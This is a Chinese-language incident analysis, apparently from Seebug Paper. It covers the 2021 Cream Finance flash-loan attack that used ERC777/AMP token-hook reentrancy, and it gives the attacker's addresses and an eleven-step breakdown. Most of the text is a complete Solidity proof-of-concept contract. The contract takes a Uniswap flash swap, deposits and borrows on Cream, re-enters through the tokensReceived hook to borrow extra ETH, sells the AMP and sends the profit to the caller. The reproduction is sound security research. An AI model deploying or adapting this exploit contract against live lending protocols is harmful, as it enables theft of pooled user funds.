作者：W2Ning
原文链接：https://github.com/W2Ning/Cream_AMP_FlashLoan_Vul
概述
上个月8月30日， Cream Finance 又双叒叕遭到了攻击，损失超 1800 万美元。
漏洞原理用一句话概括：Cream的借贷经济模型未能考虑到ERC777Token的勾子函数所带来的重入风险
事件分析
- 攻击者地址
0xce1f4b4f17224ec6df16eeb1e3e5321c54ff6ede- 其中一次攻击的交易哈希(既然大家都选这次分析我也选这次复现好了)
0xa9a1b8ea288eb9ad315088f17f7c7386b9989c95b4d13c81b69d5ddad7ffe61e- 该攻击发生的块高度
13125071 攻击合约A
0x38c40427efbAAe566407e4CdE2A91947dF0bD22B攻击合约B
0x0ec306D7634314D35139d1dF4A630d829475A125攻击步骤
-
第一步 在ERC1820地址上调用
setInterfaceImplementer,完成AmpTokensRecipient勾子函数的注册
-
第二步 攻击者从Uniswap通过
FlashSwap借出500WETH
-
第三步 将500
WETH换成500ETH
-
第四步 调用
crETH的mint函数，将500ETH存入crETH获得借贷凭证
-
第五步 用其借贷凭证借出
19480000个AMP,并通过攻击合约A中的勾子函数，再次借出355个ETH
-
第六步 攻击合约A生成一个新的合约
-
第七步 攻击合约A把一半借到的
AMP转入攻击合约B，用来清算原合约的部分crETH,
-
第八步 攻击合约B清算攻击合约A的
crETH赎回了约187个ETH
-
第九步 攻击合约B执行
SelfDestruct()完成自毁，把约187个ETH转回攻击合约
-
第十步 攻击合约A 把355个
ETH转为355个WETH返回给Uniswap501.55个WETH,完成闪电贷流程
-
第十一步 攻击合约A把剩下的一半
AMP和41个WETH转回攻击者得钱包地址
复现步骤
本次复现不是特别完美,没有加入攻击者的清算逻辑,而是把借出的AMP全部抛售,归还闪电贷结束攻击.
这也是第一次学习ERC777Token的Hook函数如何实现,光是踩坑就已经让我精疲力尽了.
同时我找一个abi转solidity的工具,再也不用手写interface了,但同时攻击代码也因为8个interface变得特别长.
https://gnidan.github.io/abi-to-sol/但我仍旧认为,单文件比引入外部文件要省事.
选择在高度为13125070的块上Fork,部署攻击合约
点击Attack
攻击前的metamask余额
攻击后的metamask余额
- 完整攻击合约代码如下
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.0. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;
interface IERC1820Registry {
function setInterfaceImplementer(
address _addr,
bytes32 _interfaceHash,
address _implementer
) external;
function getManager(address _addr) external view returns (address);
function setManager(address _addr, address _newManager) external;
function interfaceHash(string memory _interfaceName)
external
pure
returns (bytes32);
function updateERC165Cache(address _contract, bytes4 _interfaceId) external;
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash)
external
view
returns (address);
function implementsERC165InterfaceNoCache(
address _contract,
bytes4 _interfaceId
) external view returns (bool);
function implementsERC165Interface(address _contract, bytes4 _interfaceId)
external
view
returns (bool);
event InterfaceImplementerSet(
address indexed addr,
bytes32 indexed interfaceHash,
address indexed implementer
);
event ManagerChanged(address indexed addr, address indexed newManager);
}
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface Uni_Pair_V2 {
event Approval( address indexed owner,address indexed spender,uint256 value ) ;
event Burn( address indexed sender,uint256 amount0,uint256 amount1,address indexed to ) ;
event Mint( address indexed sender,uint256 amount0,uint256 amount1 ) ;
event Swap( address indexed sender,uint256 amount0In,uint256 amount1In,uint256 amount0Out,uint256 amount1Out,address indexed to ) ;
event Sync( uint112 reserve0,uint112 reserve1 ) ;
event Transfer( address indexed from,address indexed to,uint256 value ) ;
function DOMAIN_SEPARATOR( ) external view returns (bytes32 ) ;
function MINIMUM_LIQUIDITY( ) external view returns (uint256 ) ;
function PERMIT_TYPEHASH( ) external view returns (bytes32 ) ;
function allowance( address ,address ) external view returns (uint256 ) ;
function approve( address spender,uint256 value ) external returns (bool ) ;
function balanceOf( address ) external view returns (uint256 ) ;
function burn( address to ) external returns (uint256 amount0, uint256 amount1) ;
function decimals( ) external view returns (uint8 ) ;
function factory( ) external view returns (address ) ;
function getReserves( ) external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) ;
function initialize( address _token0,address _token1 ) external ;
function kLast( ) external view returns (uint256 ) ;
function mint( address to ) external returns (uint256 liquidity) ;
function name( ) external view returns (string memory ) ;
function nonces( address ) external view returns (uint256 ) ;
function permit( address owner,address spender,uint256 value,uint256 deadline,uint8 v,bytes32 r,bytes32 s ) external ;
function price0CumulativeLast( ) external view returns (uint256 ) ;
function price1CumulativeLast( ) external view returns (uint256 ) ;
function skim( address to ) external ;
function swap( uint256 amount0Out,uint256 amount1Out,address to,bytes memory data ) external ;
function symbol( ) external view returns (string memory ) ;
function sync( ) external ;
function token0( ) external view returns (address ) ;
function token1( ) external view returns (address ) ;
function totalSupply( ) external view returns (uint256 ) ;
function transfer( address to,uint256 value ) external returns (bool ) ;
function transferFrom( address from,address to,uint256 value ) external returns (bool ) ;
}
interface Uni_Router_V2{
function WETH( ) external view returns (address ) ;
function addLiquidity( address tokenA,address tokenB,uint256 amountADesired,uint256 amountBDesired,uint256 amountAMin,uint256 amountBMin,address to,uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity) ;
function addLiquidityETH( address token,uint256 amountTokenDesired,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity) ;
function factory( ) external view returns (address ) ;
function getAmountIn( uint256 amountOut,uint256 reserveIn,uint256 reserveOut ) external pure returns (uint256 amountIn) ;
function getAmountOut( uint256 amountIn,uint256 reserveIn,uint256 reserveOut ) external pure returns (uint256 amountOut) ;
function getAmountsIn( uint256 amountOut,address[] memory path ) external view returns (uint256[] memory amounts) ;
function getAmountsOut( uint256 amountIn,address[] memory path ) external view returns (uint256[] memory amounts) ;
function quote( uint256 amountA,uint256 reserveA,uint256 reserveB ) external pure returns (uint256 amountB) ;
function removeLiquidity( address tokenA,address tokenB,uint256 liquidity,uint256 amountAMin,uint256 amountBMin,address to,uint256 deadline ) external returns (uint256 amountA, uint256 amountB) ;
function removeLiquidityETH( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH) ;
function removeLiquidityETHSupportingFeeOnTransferTokens( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline ) external returns (uint256 amountETH) ;
function removeLiquidityETHWithPermit( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s ) external returns (uint256 amountToken, uint256 amountETH) ;
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s ) external returns (uint256 amountETH) ;
function removeLiquidityWithPermit( address tokenA,address tokenB,uint256 liquidity,uint256 amountAMin,uint256 amountBMin,address to,uint256 deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s ) external returns (uint256 amountA, uint256 amountB) ;
function swapETHForExactTokens( uint256 amountOut,address[] memory path,address to,uint256 deadline ) external payable returns (uint256[] memory amounts) ;
function swapExactETHForTokens( uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external payable returns (uint256[] memory amounts) ;
function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external payable ;
function swapExactTokensForETH( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external ;
function swapExactTokensForTokens( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external ;
function swapTokensForExactETH( uint256 amountOut,uint256 amountInMax,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
function swapTokensForExactTokens( uint256 amountOut,uint256 amountInMax,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
// receive () external payable;
}
interface WETH9 {
function name() external view returns (string memory);
function approve(address guy, uint256 wad) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function withdraw(uint256 wad) external;
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function symbol() external view returns (string memory);
function transfer(address dst, uint256 wad) external returns (bool);
function deposit() external payable;
function allowance(address, address) external view returns (uint256);
// 由于高版本的问题，这行要注释掉
// fallback() external payable;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
}
interface crETH {
event AccrueInterest(
uint256 cashPrior,
uint256 interestAccumulated,
uint256 borrowIndex,
uint256 totalBorrows
);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
event Borrow(
address borrower,
uint256 borrowAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event Failure(uint256 error, uint256 info, uint256 detail);
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address cTokenCollateral,
uint256 seizeTokens
);
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
event NewAdmin(address oldAdmin, address newAdmin);
event NewComptroller(address oldComptroller, address newComptroller);
event NewMarketInterestRateModel(
address oldInterestRateModel,
address newInterestRateModel
);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewReserveFactor(
uint256 oldReserveFactorMantissa,
uint256 newReserveFactorMantissa
);
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event ReservesAdded(
address benefactor,
uint256 addAmount,
uint256 newTotalReserves
);
event ReservesReduced(
address admin,
uint256 reduceAmount,
uint256 newTotalReserves
);
event Transfer(address indexed from, address indexed to, uint256 amount);
//由于高版本的问题，这行要注释掉
// fallback() external payable;
function _acceptAdmin() external returns (uint256);
function _reduceReserves(uint256 reduceAmount) external returns (uint256);
function _setComptroller(address newComptroller) external returns (uint256);
function _setInterestRateModel(address newInterestRateModel)
external
returns (uint256);
function _setPendingAdmin(address newPendingAdmin)
external
returns (uint256);
function _setReserveFactor(uint256 newReserveFactorMantissa)
external
returns (uint256);
function accrualBlockNumber() external view returns (uint256);
function accrueInterest() external returns (uint256);
function admin() external view returns (address);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account)
external
view
returns (uint256);
function borrowIndex() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function comptroller() external view returns (address);
function decimals() external view returns (uint8);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function getCash() external view returns (uint256);
function initialize(
address comptroller_,
address interestRateModel_,
uint256 initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_
) external;
function interestRateModel() external view returns (address);
function isCToken() external view returns (bool);
function liquidateBorrow(address borrower, address cTokenCollateral)
external
payable;
function mint() external payable;
function name() external view returns (string memory);
function pendingAdmin() external view returns (address);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
function reserveFactorMantissa() external view returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function symbol() external view returns (string memory);
function totalBorrows() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalReserves() external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
}
interface crAMP {
event AccrueInterest(
uint256 cashPrior,
uint256 interestAccumulated,
uint256 borrowIndex,
uint256 totalBorrows
);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
event Borrow(
address borrower,
uint256 borrowAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event Failure(uint256 error, uint256 info, uint256 detail);
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address cTokenCollateral,
uint256 seizeTokens
);
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
event NewAdmin(address oldAdmin, address newAdmin);
event NewComptroller(address oldComptroller, address newComptroller);
event NewImplementation(
address oldImplementation,
address newImplementation
);
event NewMarketInterestRateModel(
address oldInterestRateModel,
address newInterestRateModel
);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewReserveFactor(
uint256 oldReserveFactorMantissa,
uint256 newReserveFactorMantissa
);
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event ReservesAdded(
address benefactor,
uint256 addAmount,
uint256 newTotalReserves
);
event ReservesReduced(
address admin,
uint256 reduceAmount,
uint256 newTotalReserves
);
event Transfer(address indexed from, address indexed to, uint256 amount);
// 由于高版本的问题，这行要注释掉
// fallback() external payable;
function _acceptAdmin() external returns (uint256);
function _addReserves(uint256 addAmount) external returns (uint256);
function _reduceReserves(uint256 reduceAmount) external returns (uint256);
function _setComptroller(address newComptroller) external returns (uint256);
function _setImplementation(
address implementation_,
bool allowResign,
bytes memory becomeImplementationData
) external;
function _setInterestRateModel(address newInterestRateModel)
external
returns (uint256);
function _setPendingAdmin(address newPendingAdmin)
external
returns (uint256);
function _setReserveFactor(uint256 newReserveFactorMantissa)
external
returns (uint256);
function accrualBlockNumber() external view returns (uint256);
function accrueInterest() external returns (uint256);
function admin() external view returns (address);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account)
external
view
returns (uint256);
function borrowIndex() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function comptroller() external view returns (address);
function decimals() external view returns (uint8);
function delegateToImplementation(bytes memory data)
external
returns (bytes memory);
function delegateToViewImplementation(bytes memory data)
external
view
returns (bytes memory);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function getCash() external view returns (uint256);
function implementation() external view returns (address);
function interestRateModel() external view returns (address);
function isCToken() external view returns (bool);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
address cTokenCollateral
) external returns (uint256);
function mint(uint256 mintAmount) external returns (uint256);
function name() external view returns (string memory);
function pendingAdmin() external view returns (address);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount)
external
returns (uint256);
function reserveFactorMantissa() external view returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function symbol() external view returns (string memory);
function totalBorrows() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalReserves() external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function underlying() external view returns (address);
}
interface AMP {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event ApprovalByPartition(
bytes32 indexed partition,
address indexed owner,
address indexed spender,
uint256 value
);
event AuthorizedOperator(
address indexed operator,
address indexed tokenHolder
);
event AuthorizedOperatorByPartition(
bytes32 indexed partition,
address indexed operator,
address indexed tokenHolder
);
event ChangedPartition(
bytes32 indexed fromPartition,
bytes32 indexed toPartition,
uint256 value
);
event CollateralManagerRegistered(address collateralManager);
event Minted(
address indexed operator,
address indexed to,
uint256 value,
bytes data
);
event OwnerUpdate(address indexed oldValue, address indexed newValue);
event OwnershipTransferAuthorization(address indexed authorizedAddress);
event PartitionStrategySet(
bytes4 flag,
string name,
address indexed implementation
);
event RevokedOperator(
address indexed operator,
address indexed tokenHolder
);
event RevokedOperatorByPartition(
bytes32 indexed partition,
address indexed operator,
address indexed tokenHolder
);
event Swap(address indexed operator, address indexed from, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferByPartition(
bytes32 indexed fromPartition,
address operator,
address indexed from,
address indexed to,
uint256 value,
bytes data,
bytes operatorData
);
function allowance(address _owner, address _spender)
external
view
returns (uint256);
function allowanceByPartition(
bytes32 _partition,
address _owner,
address _spender
) external view returns (uint256);
function approve(address _spender, uint256 _value) external returns (bool);
function approveByPartition(
bytes32 _partition,
address _spender,
uint256 _value
) external returns (bool);
function assumeOwnership() external;
function authorizeOperator(address _operator) external;
function authorizeOperatorByPartition(bytes32 _partition, address _operator)
external;
function authorizeOwnershipTransfer(address _authorizedAddress) external;
function authorizedNewOwner() external view returns (address);
function balanceOf(address _tokenHolder) external view returns (uint256);
function balanceOfByPartition(bytes32 _partition, address _tokenHolder)
external
view
returns (uint256);
function canImplementInterfaceForAddress(bytes32 _interfaceHash, address)
external
view
returns (bytes32);
function collateralManagers(uint256) external view returns (address);
function decimals() external pure returns (uint8);
function decreaseAllowance(address _spender, uint256 _subtractedValue)
external
returns (bool);
function decreaseAllowanceByPartition(
bytes32 _partition,
address _spender,
uint256 _subtractedValue
) external returns (bool);
function defaultPartition() external view returns (bytes32);
function granularity() external pure returns (uint256);
function increaseAllowance(address _spender, uint256 _addedValue)
external
returns (bool);
function increaseAllowanceByPartition(
bytes32 _partition,
address _spender,
uint256 _addedValue
) external returns (bool);
function isCollateralManager(address _collateralManager)
external
view
returns (bool);
function isOperator(address _operator, address _tokenHolder)
external
view
returns (bool);
function isOperatorForCollateralManager(
bytes32 _partition,
address _operator,
address _collateralManager
) external view returns (bool);
function isOperatorForPartition(
bytes32 _partition,
address _operator,
address _tokenHolder
) external view returns (bool);
function isPartitionStrategy(bytes4 _prefix) external view returns (bool);
function name() external view returns (string memory);
function owner() external view returns (address);
function partitionStrategies(uint256) external view returns (bytes4);
function partitionsOf(address _tokenHolder)
external
view
returns (bytes32[] memory);
function registerCollateralManager() external;
function revokeOperator(address _operator) external;
function revokeOperatorByPartition(bytes32 _partition, address _operator)
external;
function setPartitionStrategy(bytes4 _prefix, address _implementation)
external;
function swap(address _from) external;
function swapToken() external view returns (address);
function swapTokenGraveyard() external view returns (address);
function symbol() external view returns (string memory);
function totalPartitions() external view returns (bytes32[] memory);
function totalSupply() external view returns (uint256);
function totalSupplyByPartition(bytes32) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferByPartition(
bytes32 _partition,
address _from,
address _to,
uint256 _value,
bytes memory _data,
bytes memory _operatorData
) external returns (bytes32);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool);
}
contract poc {
address constant AMPToken_Address = 0xfF20817765cB7f73d4bde2e66e067E58D11095C2;
address constant registry = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
//keccak256("AmpTokensRecipient")
bytes32 constant TOKENS_RECIPIENT_INTERFACE_HASH = 0xfa352d6368bbc643bcf9d528ffaba5dd3e826137bc42f935045c6c227bd4c72a;
address constant uin_WTH9_Pair_Address = 0xd3d2E2692501A5c9Ca623199D38826e513033a17;
address constant WTH9_AMP_Pair_Address = 0x08650bb9dc722C9c8C62E79C2BAfA2d3fc5B3293;
address constant WETH9_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant crETH_Address = 0xD06527D5e56A3495252A528C4987003b712860eE;
address constant crAMP_Address = 0x2Db6c82CE72C8d7D770ba1b5F5Ed0b6E075066d6;
address constant UniswapV2Router02_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public wallet;
////这里必须是一个动态数组，根据uniswap的设计，该数组长度可能为2也可能为3
address[] path = [0xfF20817765cB7f73d4bde2e66e067E58D11095C2,0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2];
function attack() public {
//注册接口
IERC1820Registry(registry).setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
wallet = msg.sender;
//触发FlashSwap
Uni_Pair_V2(uin_WTH9_Pair_Address).swap(0, 500*1e18, address(this), "0x00");
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{
//把500个WETH转为500个ETH
WETH9(WETH9_Address).withdraw(500*1e18);
//把500个ETH质押进Cream
crETH(crETH_Address).mint{value:500*1e18}();
//这里很奇怪要先借小额的ETH,才能借出大量的AMP,暂时不清楚原因
crETH(crETH_Address).borrow(1*1e18);
//攻击者调用了这个函数,所以我也跟着调
crAMP(crAMP_Address).accrueInterest();
//借大量AMP
crAMP(crAMP_Address).borrow(19480000000000000000000000);
//把所有ETH转为WETH
WETH9(WETH9_Address).deposit{value:address(this).balance,gas:40000}();
//Approve给RouterV2大量AMP,准备卖掉
AMP(AMPToken_Address).approve(UniswapV2Router02_address,19480000000000000000000000000);
//卖掉AMP
Uni_Router_V2(UniswapV2Router02_address).swapExactTokensForTokens(19480000000000000000000000,1,path,address(this),block.timestamp);
//归还FlashSwap
WETH9(WETH9_Address).transfer(uin_WTH9_Pair_Address,502*1e18);
//剩余WETH转回给测试账户
WETH9(WETH9_Address).transfer(wallet,WETH9(WETH9_Address).balanceOf(address(this)));
}
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external {
// 当该攻击合约收到AMP的时候,触发钩子函数，通过重入借出ETH
crETH(crETH_Address).borrow(354*1e18);
}
receive() external payable {
}
}
本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1709/